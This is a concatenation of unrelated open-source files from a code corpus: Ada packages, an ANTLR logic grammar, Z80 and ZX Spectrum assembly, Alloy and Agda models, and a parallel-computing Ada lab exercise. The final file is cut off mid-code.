{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': True}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': True}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False}}
{'00': 13}
00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
sources/jupyter/jupyter-start_kernel-io_pubs.adb | reznikmm/jupyter | 4 | 14544 | -- SPDX-FileCopyrightText: 2020 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
----------------------------------------------------------------
separate (Jupyter.Start_Kernel)
package body IO_Pubs is
------------
-- Stream --
------------
overriding procedure Stream
(Self : in out IO_Pub;
Name : League.Strings.Universal_String;
Text : League.Strings.Universal_String)
is
Content : League.JSON.Objects.JSON_Object;
begin
Content.Insert
(+"name",
League.JSON.Values.To_JSON_Value (Name));
Content.Insert
(+"text",
League.JSON.Values.To_JSON_Value (Text));
Send_Message
(Self.Up.IOPub,
Self.Up.Msg_Id,
-(+"stream"),
Self.Up.Key,
"stream",
Self.Request,
Content);
end Stream;
overriding procedure Display_Data
(Self : in out IO_Pub;
Data : League.JSON.Objects.JSON_Object;
Metadata : League.JSON.Objects.JSON_Object;
Transient : League.JSON.Objects.JSON_Object) is null;
overriding procedure Update_Display_Data
(Self : in out IO_Pub;
Data : League.JSON.Objects.JSON_Object;
Metadata : League.JSON.Objects.JSON_Object;
Transient : League.JSON.Objects.JSON_Object) is null;
--------------------
-- Execute_Result --
--------------------
overriding procedure Execute_Result
(Self : in out IO_Pub;
Data : League.JSON.Objects.JSON_Object;
Metadata : League.JSON.Objects.JSON_Object;
Transient : League.JSON.Objects.JSON_Object)
is
Content : League.JSON.Objects.JSON_Object;
begin
Content.Insert
(+"execution_count",
League.JSON.Values.To_JSON_Value
(League.Holders.Universal_Integer (Self.Count)));
Content.Insert (+"data", Data.To_JSON_Value);
Content.Insert (+"metadata", Metadata.To_JSON_Value);
Content.Insert (+"transient", Transient.To_JSON_Value);
Send_Message
(Self.Up.IOPub,
Self.Up.Msg_Id,
-(+"execute_result"),
Self.Up.Key,
"execute_result",
Self.Request,
Content);
end Execute_Result;
overriding procedure Execute_Error
(Self : in out IO_Pub;
Value : Jupyter.Kernels.Execution_Error) is null;
overriding procedure Clear_Output
(Self : in out IO_Pub;
Wait : Boolean) is null;
overriding procedure Debug_Event
(Self : in out IO_Pub;
Content : League.JSON.Objects.JSON_Object) is null;
end IO_Pubs;
|
FOLParser/FOL.g4 | lfm0006/FOLParser | 1 | 406 | /**
* FOL - Grammar for First-Order Logic
*/
grammar FOL;
prog
: COMMENT? sentence+ ENDLINE? EOF # sentenceClause
;
sentence
: formula # formulaClause
;
formula
: NOT formula # negationClause
| formula op=(BICOND | IMPLY | AND | OR) formula # connectiveClause
| qop=(FORALL | EXISTS) '(' variable ')' '(' formula ')' # quantifierClause
| relationSymb ('(' (term)+ ')')? # relationClause
| term '=' term # equaltyClause
| value # valueClause
| '(' formula ')' # parensClause
;
term
: functionSymb '(' (term)+ ')' # functionClause
| constantSymb # constantClause
| variable # variableClause
;
constantSymb
: '#'CHARACTER
;
functionSymb
: '.'CHARACTER
;
relationSymb
: '_'CHARACTER
;
variable
: '?'CHARACTER
;
value
: TRUE | FALSE
;
TRUE
: [Tt][Rr][Uu][Ee]
;
FALSE
: [Ff][Aa][Ll][Ss][Ee]
;
FORALL
: [fF][Oo][Rr][Aa][Ll][Ll]
;
EXISTS
: [Ee][Xx][Ii][Ss][Tt][Ss]
;
AND
: '&'
;
OR
: '|'
;
IMPLY
: '->'
;
BICOND
: '<->'
;
NOT
: '~'
;
CHARACTER
: [A-Za-z0-9]+
;
ENDLINE: ('\r'|'\n')+ -> skip;
WS: [ \t]+ -> skip;
COMMENT
: '//' ~('\t'|'\r'|'\n')* '\r'? '\n' -> skip
;
|
source/adam-assist.adb | charlie5/aIDE | 3 | 23194 | <reponame>charlie5/aIDE
with
Ada.Strings.unbounded,
Ada.Strings.fixed;
package body AdaM.Assist
is
function identifier_Suffix (Id : in Identifier; Count : in Positive) return Identifier
is
use Ada.Strings,
Ada.Strings.fixed,
Ada.Strings.Unbounded;
the_Id : constant String := String (Id);
Dot : Natural := Index (the_Id, ".", Backward);
Depth : Positive := 1;
Last : Positive := Id'Last;
Suffix : Text;
begin
while Depth <= Count
loop
if Dot = 0
then
insert (Suffix, 1, the_Id (the_Id'First .. Last));
exit;
end if;
insert (Suffix, 1, the_Id (Dot + 1 .. Last));
if Depth /= Count
then
insert (Suffix, 1, ".");
end if;
Last := Dot - 1;
Dot := Index (the_Id, ".", from => Last, going => Backward);
Depth := Depth + 1;
end loop;
return +Suffix;
end identifier_Suffix;
-- function strip_standard_Prefix (Id : in Identifier) return Identifier
-- is
-- the_Id : constant String := String (Id);
-- Token : constant String := "Standard.";
-- begin
-- if the_Id (the_Id'First .. the_Id'First + Token'Length - 1) = Token
-- then
-- return the_Id (the_Id'First + Token'Length .. the_Id'Last);
-- else
-- return the_Id;
-- end if;
-- end strip_standard_Prefix;
function strip_standard_Prefix (Id : in Identifier) return Identifier
is
Token : constant Identifier := "Standard.";
begin
if Id'Length >= Token'Length
and then Id (Id'First .. Id'First + Token'Length - 1) = Token
then
return Id (Id'First + Token'Length .. Id'Last);
else
return Id;
end if;
end strip_standard_Prefix;
function Tail_of (the_full_Name : in Identifier) return Identifier
is
use Ada.Strings,
Ada.Strings.fixed;
Dot : constant Natural := Index (String (the_full_Name), ".", Backward);
begin
if Dot = 0
then
return the_full_Name;
else
return the_full_Name (Dot + 1 .. the_full_Name'Last);
end if;
end Tail_of;
function strip_Tail_of (the_full_Name : in Identifier) return Identifier
is
use Ada.Strings,
Ada.Strings.fixed;
Dot : constant Natural := Index (String (the_full_Name), ".", Backward);
begin
if Dot = 0 then
return the_full_Name;
else
return the_full_Name (the_full_Name'First .. Dot - 1);
end if;
end strip_Tail_of;
function type_button_Name_of (the_full_Name : in Identifier) return String
is
Tail : constant Identifier := Assist.Tail_of (the_full_Name);
begin
if the_full_Name'Length >= 9
and then the_full_Name (the_full_Name'First .. the_full_Name'First + 8) = "Standard."
then
return String (Tail);
end if;
declare
Head : constant Identifier := assist.strip_Tail_of (the_full_Name);
begin
return String (assist.Tail_of (Head) & "." & Tail);
end;
end type_button_Name_of;
function parent_Name (Id : in Identifier) return Identifier
is
use Ada.Strings,
Ada.Strings.fixed;
begin
if Id = "Standard"
then
return "";
end if;
declare
the_Id : constant String := String (Id);
I : constant Natural := Index (the_Id, ".", going => Backward);
begin
if I = 0
then
return "Standard";
end if;
return Identifier (the_Id (the_Id'First .. I - 1));
end;
end parent_Name;
function simple_Name (Id : in Identifier) return Identifier
is
use Ada.Strings,
Ada.Strings.fixed;
I : constant Natural := Index (String (Id), ".", going => Backward);
begin
if I = 0
then
return Id;
end if;
return Id (I + 1 .. Id'Last);
end simple_Name;
-- function Split (the_Text : in Identifier) return text_Lines
-- is
-- use ada.Strings.Fixed,
-- ada.Strings.Unbounded;
--
-- the_Lines : text_Lines;
-- Dot : Natural := Index (the_Text, ".");
-- First : Positive := 1;
-- Last : Positive;
--
-- begin
-- while Dot /= 0
-- loop
-- Last := Dot - 1;
-- the_Lines.append (+the_Text (First .. Last));
-- First := Dot + 1;
-- Dot := Index (the_Text, ".", First);
-- end loop;
--
-- the_Lines.append (+the_Text (First .. the_Text'Last));
-- return the_Lines;
-- end Split;
function Split (Id : in Identifier) return text_Lines
is
use Ada.Strings,
Ada.Strings.fixed;
the_Id : constant String := String (Id);
First : Natural := the_Id'First;
Last : Natural;
I : Natural;
Lines : text_Lines;
begin
loop
I := Index (the_Id, ".", from => First);
if I = 0
then
Last := the_Id'Last;
Lines.append (+the_Id (First .. Last));
exit;
end if;
Last := I - 1;
Lines.append (+the_Id (First .. Last));
First := I + 1;
end loop;
return Lines;
end Split;
end AdaM.Assist;
|
solutions/21 - Big Data/size-8_speed-21.asm | michaelgundlach/7billionhumans | 45 | 28771 | <filename>solutions/21 - Big Data/size-8_speed-21.asm
-- 7 Billion Humans (2053) --
-- 21: Big Data --
-- Author: soerface
-- Size: 8
-- Speed: 21
-- Speed Tests: 20, 22, 18, 20, 23, 23, 20, 23, 18, 22, 23
step sw
a:
if s != shredder:
step s
jump a
endif
b:
takefrom se
if myitem < 50:
giveto sw
jump b
endif
|
src/search-tokens.adb | stcarrez/ada-search | 9 | 11890 | -----------------------------------------------------------------------
-- search-tokens -- Search engine token representation
-- Copyright (C) 2020 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
package body Search.Tokens is
function Get_Value (Token : in Token_Type) return String is
begin
if Token.Is_Null then
return "";
else
return Token.Value.Value;
end if;
end Get_Value;
end Search.Tokens;
|
src/extras/media/spectrum/ULAplus/linear_modes/radastan_mode/hwscroll/v224x144.asm | chipsi007/zesarux | 0 | 95636 | ;Picture viewer for Radastan mode (244x144x16)
;To generate a screen compatible with the Radastan mode:
; - Use a graphics tool, like Irfanview, to resize the picture to 128x96 with a palette of 16 colours
; - Save it as BMP without compression
; - Include it as a binary data into this source code
; To be assembled with PASMO --tapbas
BYTESPERSCAN equ 112
SCANS equ 144
RADASOFFSET equ 41h
RADASPADDING equ 42h
ZXUNOADDR equ 0fch
ZXUNODATA equ 0fdh
ZXIBASEADDR equ 3bh
PADDING equ BYTESPERSCAN-64
org 33000
Main di
;Convert BMP palette to ULAplus palette entry
ld hl,Pantalla+36h ;BMP palette offset. Format is BGRA
ld bc,0bf3bh
ld e,0
BucPaleta out (c),e
ld b,0ffh
ld a,(hl) ; blue
sra a
sra a
sra a
sra a
sra a
sra a
and 3
ld d,a
inc hl
ld a,(hl) ; green
and 11100000b
or d
ld d,a
inc hl
ld a,(hl) ; red
sra a
sra a
sra a
and 00011100b
or d
out (c),a
inc hl
inc hl ; skip the alpha byte
ld b,0bfh
inc e
ld a,e
cp 16
jr nz,BucPaleta
ld b,0fch ;NEW! now this is how to enable Radastan mode
ld a,64
out (c),a ;NEW! now this is how to enable Radastan mode
ld b,0fdh
ld a,3
out (c),a
xor a
out (254),a
ld hl,Pantalla+76h+(SCANS-1)*BYTESPERSCAN ;offset to the last BMP stored scanline (the first we see on screen)
ld de,16384 ;offset to the Spectrum screen buffer
ld b,SCANS
BucPintaScans push bc
ld bc,BYTESPERSCAN
ldir
ld bc,-(BYTESPERSCAN*2)
add hl,bc
pop bc
djnz BucPintaScans
ld a,82h
ld i,a
im 2
ei
ld c,ZXIBASEADDR
ld b,ZXUNOADDR
ld a,RADASPADDING
out (c),a
inc b
ld a,PADDING
out (c),a
Forever ld a,0 ;line
ld hl,0 ;offset
Derecha1 halt
ld b,ZXUNOADDR
ld d,RADASOFFSET
out (c),d
inc b
out (c),l
out (c),h
inc hl
inc a
cp PADDING
jr nz,Derecha1
dec hl
xor a
BajaIzq halt
ld de,BYTESPERSCAN-1
add hl,de
ld b,ZXUNOADDR
ld d,RADASOFFSET
out (c),d
inc b
out (c),l
out (c),h
inc a
cp PADDING-1
jr nz,BajaIzq
xor a
;ld de,BYTESPERSCAN-1
;add hl,de
Derecha2 halt
ld b,ZXUNOADDR
ld d,RADASOFFSET
out (c),d
inc b
out (c),l
out (c),h
inc hl
inc a
cp PADDING
jr nz,Derecha2
dec hl
xor a
SubeIzq halt
ld de,-(BYTESPERSCAN+1)
add hl,de
ld b,ZXUNOADDR
ld d,RADASOFFSET
out (c),d
inc b
out (c),l
out (c),h
inc a
cp PADDING-1
jr nz,SubeIzq
jp Forever
org 82FFh
dw NuevaIM2
NuevaIM2 rept 8
nop
endm
ei
reti
Pantalla equ $
incbin "lena224x144.bmp" ; <-- put here the BMP you want to see. It must have 6262 bytes in length
end Main
|
res/checkKey.asm | Pusty/F0i | 0 | 97174 | %ifndef CHECK_KEY
%define CHECK_KEY
checkKey:
cmp ax, 0
jne .next
in al, 0x60
mov [last], al
and al, 01111111b
mov ah, 0
ret
.next:
mov al, [last]
shr al, 7
and al, 00000001b
xor al, 00000001b
mov ah, 0
ret
mov ax, 0
mov ah, 1
int 16h
jz .nokey
mov ax, 0
int 16h
ret
.nokey:
mov ax, 0
ret
last dw 0
%endif
|
tests/tk-ttkwidget-test_data-tests.ads | thindil/tashy2 | 2 | 25879 | <filename>tests/tk-ttkwidget-test_data-tests.ads
-- This package has been generated automatically by GNATtest.
-- Do not edit any part of it, see GNATtest documentation for more details.
-- begin read only
with Gnattest_Generated;
package Tk.TtkWidget.Test_Data.Tests is
type Test is new GNATtest_Generated.GNATtest_Standard.Tk.TtkWidget.Test_Data
.Test with
null record;
procedure Test_Option_Image_a3facf_ddcb4f(Gnattest_T: in out Test);
-- tk-ttkwidget.ads:253:4:Option_Image:Test_Option_Image_Compound_Type
procedure Test_Option_Image_5ac754_8ca289(Gnattest_T: in out Test);
-- tk-ttkwidget.ads:259:4:Option_Image:Test_Option_Image_Distabled_State_Type
procedure Test_Option_Image_a0749a_9522a2(Gnattest_T: in out Test);
-- tk-ttkwidget.ads:265:4:Option_Image:Test_Option_Image_Image_Option
procedure Test_Option_Image_fac0b4_5f511f(Gnattest_T: in out Test);
-- tk-ttkwidget.ads:270:4:Option_Image:Test_Option_Image_Padding_Data
procedure Test_Option_Value_5bd68b_a92add(Gnattest_T: in out Test);
-- tk-ttkwidget.ads:293:4:Option_Value:Test_Option_Value_Compound_Type
procedure Test_Option_Value_e44442_1318d9(Gnattest_T: in out Test);
-- tk-ttkwidget.ads:298:4:Option_Value:Test_Option_Value_Disabled_State_Type
procedure Test_Option_Value_7d1d95_d2d94b(Gnattest_T: in out Test);
-- tk-ttkwidget.ads:303:4:Option_Value:Test_Option_Value_Ttk_Image_Option
procedure Test_Option_Value_08ea7f_956d9f(Gnattest_T: in out Test);
-- tk-ttkwidget.ads:308:4:Option_Value:Test_Option_Value_Padding_Data
procedure Test_In_State_46b68b_db2848(Gnattest_T: in out Test);
-- tk-ttkwidget.ads:333:4:In_State:Test_Ttk_Widget_In_State
procedure Test_In_State_318f72_d83e8c(Gnattest_T: in out Test);
-- tk-ttkwidget.ads:358:4:In_State:Test_Ttk_Widget_In_State2
procedure Test_Set_State_86b648_15a1a7(Gnattest_T: in out Test);
-- tk-ttkwidget.ads:383:4:Set_State:Test_Ttk_Widget_State
procedure Test_Get_States_734267_5a6282(Gnattest_T: in out Test);
-- tk-ttkwidget.ads:407:4:Get_States:Test_Ttk_Widget_State2
end Tk.TtkWidget.Test_Data.Tests;
-- end read only
|
programs/oeis/008/A008624.asm | neoneye/loda | 22 | 85902 | <reponame>neoneye/loda<filename>programs/oeis/008/A008624.asm
; A008624: Expansion of (1+x^3)/((1-x^2)*(1-x^4)) = (1-x+x^2)/((1+x)*(1-x)^2*(1+x^2)).
; 1,0,1,1,2,1,2,2,3,2,3,3,4,3,4,4,5,4,5,5,6,5,6,6,7,6,7,7,8,7,8,8,9,8,9,9,10,9,10,10,11,10,11,11,12,11,12,12,13,12,13,13,14,13,14,14,15,14,15,15,16,15,16,16,17,16,17,17,18,17,18,18,19,18,19,19,20,19,20,20,21,20,21,21,22,21,22,22,23,22,23,23,24,23,24,24,25,24,25,25
mov $1,$0
gcd $0,4
add $0,$1
div $0,4
|
state/logic_for_state_transition.als | nowavailable/alloy_als_study | 0 | 99 | <filename>state/logic_for_state_transition.als<gh_stars>0
module main
enum State { before, after }
// Boundaryใฏใไฝใใใฎ1ๆฌกๅ
ใฎไฝ็ฝฎใใคใพใไฝใใใฎๅคใ่กจใใ
sig Boundary { val: one Int }
sig Participant {
loto_num: one Boundary,
prize_num: lone Boundary,
// ็ถๆ
ๅคๅใ่กจ็พใใใใจใ็ฎ็ใซไปๅ ใใใใฃใผใซใ
meta_identifier: one Int,
meta_state: one State
}
fact {
/** meta_state ใฏใbeforeใafterใใใชใใใคใพใใไบๅใจไบๅพใ*/
all p:Participant | p.meta_state = before or p.meta_state = after
/**
ID ใ็ญใใใตใใคAtomใใใฃใใใ
ใใใฏใฒใจใคใฎAtomใฎไบๅ็ถๆ
ใจไบๅพ็ถๆ
ใงใใใจ่ใใใ
*/
all p,p':Participant |
(p != p' and p.meta_identifier = p'.meta_identifier) =>
(p.meta_state != p'.meta_state)
}
--------------------------------------------------------------
-- ใใๅผใใจใใฆloto_numใใใใ
-- loto_num ใฎๅคใไธ็ชๅคงใใใฃใParticipantใซใ
-- prize_numใใคใพใ่ณๅใไธใใใใฆใใใ
--------------------------------------------------------------
-- ไบๅๆกไปถ
pred BeforeLoto {
all participant:Participant |
participant.meta_state = before =>
/** ่ชฐใ่ณๅใไธใใใใฆใใชใใใจใ*/
participant.prize_num = none
}
-- ไธๅคๆกไปถ
pred Immutable {
all participant:Participant |
/** ไบๅ็ถๆ
ใไบๅพ็ถๆ
ใใใใใฎไธญใงใIDใจloto_numใฏ้่คใใฆใใชใใใจใ */
participant.meta_state = before =>
all p,p':participant |
p != p' => eternalUnique[p,p']
&&
participant.meta_state = after =>
all p,p':participant |
p != p' => eternalUnique[p,p']
/**
IDใ็ญใใใ็ถๆ
ใ็ฐใชใAtoๅๅฃซใฏใloto_numใๅ
ฑ้ใงใใใใจใ
ใใไปฅๅคใฏใloto_numใฏๅฟ
ใ็ฐใชใใ
*/
all p,p':Participant |
p != p' implies (
(p.meta_identifier = p'.meta_identifier and
p.meta_state != p'.meta_state) implies
(p.loto_num = p'.loto_num) && (p.loto_num.val = p'.loto_num.val) else
(p.loto_num != p'.loto_num) && (p.loto_num.val != p'.loto_num.val)
)
}
pred eternalUnique[p:Participant,p':Participant] {
(p.meta_identifier != p'.meta_identifier) and (p.loto_num != p'.loto_num)
}
/**
็ถๆ
ๅคๅใฎใใใฎๆกไปถ๏ผloto_numใmaxใงใใใใจใ
ใใฎmaxใงใใloto_numใ่ฟใใ
*/
fun win_num : Int{
Boundary.(Participant.(Participant<:loto_num)<:val).max
}
-- ไบๅพๆกไปถ
pred AfterLoto {
/** ไบๅพ็ถๆ
Atomใซใฏๅฟ
ใใๅฏพใซใชใไบๅ็ถๆ
ใฎAtomใๅญๅจใใใใจใ*/
Participant.(
(Participant<:meta_state & Participant->after).State<:meta_identifier
) // ๆฝ้ธๅพๅๅ ่
ใจใใฎIDใใใใIDใ ใใๅใๅบใ
in
Participant.(
(Participant<:meta_state & Participant->before).State<:meta_identifier
) // ๆฝ้ธๅๅๅ ่
ใจใใฎIDใใใใIDใ ใใๅใๅบใ
&&
/** loto_num ใmaxใฎ่
ใ ใใ prize_num ใๆใฃใฆใใใใจใ*/
let winner = loto_num:>(Boundary<:val & Boundary->win_num).Int |
Participant<:prize_num in winner
}
run {Immutable && BeforeLoto && AfterLoto}
for 3 but 4 Participant, 3 Int
|
Cubical/Experiments/NatMinusTwo/Properties.agda | dan-iel-lee/cubical | 0 | 5339 | <gh_stars>0
{-# OPTIONS --cubical --no-import-sorts --no-exact-split --safe #-}
module Cubical.Experiments.NatMinusTwo.Properties where
open import Cubical.Foundations.Prelude
open import Cubical.Foundations.Isomorphism
open import Cubical.Data.Nat
open import Cubical.Data.NatMinusOne using (โโโ)
open import Cubical.Experiments.NatMinusTwo.Base
-2+Path : โ โก โโโ
-2+Path = isoToPath (iso -2+_ 2+_ (ฮป _ โ refl) (ฮป _ โ refl))
|
libsrc/_DEVELOPMENT/math/float/math48/z80/am48_dldpush.asm | meesokim/z88dk | 0 | 176609 | <reponame>meesokim/z88dk
SECTION code_fp_math48
PUBLIC am48_dldpush
EXTERN am48_dload
am48_dldpush:
; load double from memory and push onto stack
;
; enter : hl = double *
;
; exit : AC = double x (*hl)
; stack = double x (*hl)
;
; uses : af, bc, de, hl
call am48_dload
exx
pop af
push bc
push de
push hl
push af
ret
|
ParallelProgramming-2/lab4/main.adb | smithros/kpi-stuff | 21 | 15225 |
-- Parallel and Distributed Computing
-- Laboratory work #4. <NAME>
-- Task: MA = (B*C)*MZ + min(Z)*(MX*MC)
-- <NAME> IO-71
with Ada.Text_IO, Ada.Integer_text_iO, Ada.Synchronous_Task_Control, Data;
use Ada.Text_IO, Ada.Integer_text_iO, Ada.Synchronous_Task_Control;
procedure main is
Value : Integer := 1;
N : Natural := 12;
P : Natural := 6;
H : Natural := N/P;
package DataN is new Data(N, H);
use DataN;
procedure StartTasks is
task T1 is
entry DATA_C2H_MX(C2H: in Vector2H; MX: in MatrixN);
entry DATA_A6(a6: in Integer);
entry DATA_X6(x6: in Integer);
entry DATA_ZH(ZH: in VectorH);
entry DATA_MZH(MZH: in MatrixH);
entry DATA_A(a: in Integer);
entry DATA_X(x: in Integer);
entry RESULT_T1(MA11 : out MatrixH; MA61 : out MatrixH);
end T1;
task T2 is
entry DATA_MC3H_B3H(MC3H: in Matrix3H; B3H: in Vector3H);
entry DATA_CH_MX(CH: in VectorH; MX: in MatrixN);
entry DATA_A1(a1: in Integer);
entry DATA_X1(x1: in Integer);
entry DATA_A5(a5: in Integer);
entry DATA_X5(x5: in Integer);
entry DATA_A3(a3: in Integer);
entry DATA_X3(x3: in Integer);
entry DATA_Z3H(Z3H: in Vector3H);
entry DATA_MZ2H(MZH: in Matrix2H);
entry RESULT_T2(MA12 : out MatrixH;MA62 : out MatrixH;MA22 : out MatrixH;MA52 : out MatrixH);
end T2;
task T3 is
entry DATA_MC2H_B2H(MC2H: in Matrix2H; B2H: in Vector2H);
entry DATA_CH_MX(CH: in VectorH; MX: in MatrixN);
entry DATA_A4(a4: in Integer);
entry DATA_X4(x4: in Integer);
entry DATA_ZH(ZH: in VectorH);
entry DATA_A(a: in Integer);
entry DATA_X(x: in Integer);
end T3;
task T4 is
entry DATA_MCH_BH(MCH: in MatrixH; BH: in VectorH);
entry DATA_MZ3H(MZ: in Matrix3H);
entry DATA_C2H_MX(C2H: in Vector2H; MX: in MatrixN);
entry DATA_ZH(ZH: in VectorH);
entry DATA_A(a: in Integer);
entry DATA_X(x: in Integer);
entry RESULT_T4(MA : out MatrixH);
end T4;
task T5 is
entry DATA_MCH_BH(MCH: in MatrixH; BH: in VectorH);
entry DATA_MZ2H(MZ2H: in Matrix2H);
entry DATA_C3H_MX(C3H: in Vector3H; MX: in MatrixN);
entry DATA_A(a: in Integer);
entry DATA_X(x: in Integer);
entry RESULT_T5(MA : out MatrixH);
end T5;
task T6 is
entry DATA_MC2H_B2H(MC2H: in Matrix2H; B2H: in Vector2H);
entry DATA_MZH(MZ: in MatrixH);
entry DATA_ZH(ZH: in VectorH);
entry DATA_A(a: in Integer);
entry DATA_X(x: in Integer);
entry RESULT_T6(MA : out MatrixH);
end T6;
task body T1 is
MA6: MatrixH;
MA1: MatrixH;
MQ1: MatrixH;
MB1: MatrixH;
B1: VectorN;
C1: Vector2H;
MZ1: MatrixH;
Z1: VectorH;
MX1: MatrixN;
MC1: MatrixN;
x_1 : Integer := 0;
x6_1: Integer := 0;
a6_1: Integer := 0;
minZ1 : Integer := 99999;
MT1: MatrixH;
MT2: MatrixH;
begin
Put_Line("T1 started");
Input(MC1,1);
Input(B1,1);
accept DATA_C2H_MX (C2H: in Vector2H; MX: in MatrixN) do
C1 := C2H;
MX1 := MX;
end DATA_C2H_MX;
T6.DATA_MC2H_B2H(MC1(4*H+1..N), B1(4*H+1..N));
T2.DATA_MC3H_B3H(MC1(H+1..4*H), B1(H+1..4*H));
accept DATA_MZH (MZH : in MatrixH) do
MZ1:=MZH;
end DATA_MZH;
accept DATA_ZH (ZH : in VectorH) do
Z1 := ZH;
end DATA_ZH;
T2.DATA_CH_MX(C1(H+1..2*H), MX1);
for I in 1..H loop
if Z1(I) < minZ1 then
minZ1 := Z1(I);
end if;
end loop;
accept DATA_A6 (A6: in Integer) do
a6_1 := A6;
end DATA_A6;
minZ1 := Min(a6_1, minZ1);
T2.DATA_A1(minZ1);
accept DATA_A (A : in Integer) do
minZ1:=A;
end DATA_A;
T6.DATA_A(minZ1);
for I in 1..H loop
x_1 := x_1 + B1(I)*C1(I);
end loop;
accept DATA_X6 (X6: in Integer) do
x6_1 := X6;
end DATA_X6;
x_1 := x_1 + x6_1;
T2.DATA_X1(x_1);
accept DATA_X (X: in Integer) do
x_1 := X;
end DATA_X;
T6.DATA_X(x_1);
for i in 1..H loop
for j in 1..N loop
MT1(i)(j):= MZ1(i)(j);
MT2(i)(j):= MC1(i)(j);
end loop;
end loop;
MA1:=Calculation(x_1,minZ1,MT1,MX1,MT2);
T6.RESULT_T6(MA6);
accept RESULT_T1 (MA11 : out MatrixH; MA61 : out MatrixH) do
MA11:=MA1;
MA61:=MA6;
end RESULT_T1;
Put_Line("T1 finished");
end T1;
task body T2 is
MT2: MatrixH;
MT22: MatrixH;
MA1: MatrixH;
MA5: MatrixH;
MA6: MatrixH;
MA2: MatrixH;
B2: Vector3H;
C2: VectorH;
MZ2: Matrix2H;
Z2: Vector3H;
MX2: MatrixN;
MC2: Matrix3H;
x_2 : Integer:=0;
x1_2: Integer;
a1_2: Integer;
x5_2: Integer;
a5_2: Integer;
x3_2: Integer;
a3_2: Integer;
minZ2 : Integer := 99999;
begin
Put_Line("T2 started");
accept DATA_Z3H (Z3H : in Vector3H) do
Z2 := Z3H;
end DATA_Z3H;
accept DATA_MZ2H (MZH : in Matrix2H) do
MZ2:=MZH;
end DATA_MZ2H;
accept DATA_MC3H_B3H (MC3H : in Matrix3H; B3H: in Vector3H) do
MC2 := MC3H;
B2 := B3H;
end DATA_MC3H_B3H;
T1.DATA_MZH(MZ2(1..H));
T1.DATA_ZH(Z2(1..H));
T3.DATA_ZH(Z2(2*H+1..3*H));
T3.DATA_MC2H_B2H(MC2(H+1..3*H), B2(H+1..3*H));
accept DATA_CH_MX (CH: in VectorH; MX: in MatrixN) do
C2 := CH;
MX2 := MX;
end DATA_CH_MX;
for I in 1..H loop
if Z2(I) < minZ2 then
minZ2 := Z2(I);
end if;
end loop;
accept DATA_A1 (A1: in Integer) do
a1_2 := A1;
end DATA_A1;
minZ2 := Min(a1_2, minZ2);
accept DATA_A3 (A3: in Integer) do
a3_2 := A3;
end DATA_A3;
minZ2 := Min(a3_2, minZ2);
accept DATA_A5 (A5: in Integer) do
a5_2 := A5;
end DATA_A5;
minZ2 := Min(a5_2, minZ2);
T1.DATA_A(minZ2);
T3.DATA_A(minZ2);
T5.DATA_A(minZ2);
for I in 1..H loop
x_2 := x_2 + B2(I)*C2(I);
end loop;
accept DATA_X1 (X1: in Integer) do
x1_2 := X1;
end DATA_X1;
x_2 := CalcSumX(x_2, x1_2);
accept DATA_X3 (X3: in Integer) do
x3_2 := X3;
end DATA_X3;
x_2 := CalcSumX(x_2, x3_2);
accept DATA_X5 (X5: in Integer) do
x5_2 := X5;
end DATA_X5;
x_2 := CalcSumX(x_2, x5_2);
T1.DATA_X(x_2);
T3.DATA_X(x_2);
T5.DATA_X(x_2);
for i in 1..H loop
for j in 1..N loop
MT2(i)(j):= MZ2(H+i)(j);
MT22(i)(j):= MC2(i)(j);
end loop;
end loop;
MA2:=Calculation(x_2,minZ2,MT2,MX2,MT22);
T1.RESULT_T1(MA1,MA6);
T5.RESULT_T5(MA5);
accept RESULT_T2 (MA12 : out MatrixH; MA62 : out MatrixH; MA22 : out MatrixH; MA52 : out MatrixH) do
MA12:=MA1;
MA62:=MA6;
MA22:=MA2;
MA52:=MA5;
end RESULT_T2;
Put_Line("T2 finished");
end T2;
task body T3 is
MT3: MatrixH;
MT32: MatrixH;
MA3: MatrixH;
MA1: MatrixH;
MA2: MatrixH;
MA4: MatrixH;
MA5: MatrixH;
MA6: MatrixH;
B3: Vector2H;
C3: VectorH;
MZ3: MatrixN;
Z3: VectorH;
MX3: MatrixN;
MC3: Matrix2H;
x_3 : Integer;
MA: MatrixN;
x4_3: Integer;
a4_3: Integer;
minZ3 : Integer := 99999;
begin
Put_Line("T3 started");
Input(MZ3,1);
T2.DATA_MZ2H(MZ3(1..2*H));
T4.DATA_MZ3H(MZ3(3*H+1..N));
accept DATA_ZH (ZH : in VectorH) do
Z3 := ZH;
end DATA_ZH;
accept DATA_MC2H_B2H (MC2H : in Matrix2H; B2H: in Vector2H) do
MC3 := MC2H;
B3 := B2H;
end DATA_MC2H_B2H;
T4.DATA_MCH_BH(MC3(H+1..2*H), B3(H+1..2*H));
accept DATA_CH_MX (CH: in VectorH; MX: in MatrixN) do
C3 := CH;
MX3 := MX;
end DATA_CH_MX;
for I in 1..H loop
if Z3(I) < minZ3 then
minZ3 := Z3(I);
end if;
end loop;
accept DATA_A4 (A4: in Integer) do
a4_3 := A4;
end DATA_A4;
minZ3 := Min(a4_3, minZ3);
T2.DATA_A3(minZ3);
accept DATA_A (A : in Integer) do
minZ3:=A;
end DATA_A;
T4.DATA_A(minZ3);
x_3 := CalcX(B3, C3);
accept DATA_X4 (X4: in Integer) do
x4_3 := X4;
end DATA_X4;
x_3 := x_3 + x4_3;
T2.DATA_X3(x_3);
accept DATA_X (X: in Integer) do
x_3 := X;
end DATA_X;
T4.DATA_X(x_3);
for i in 1..H loop
for j in 1..N loop
MT3(i)(j):= MZ3(2*H+i)(j);
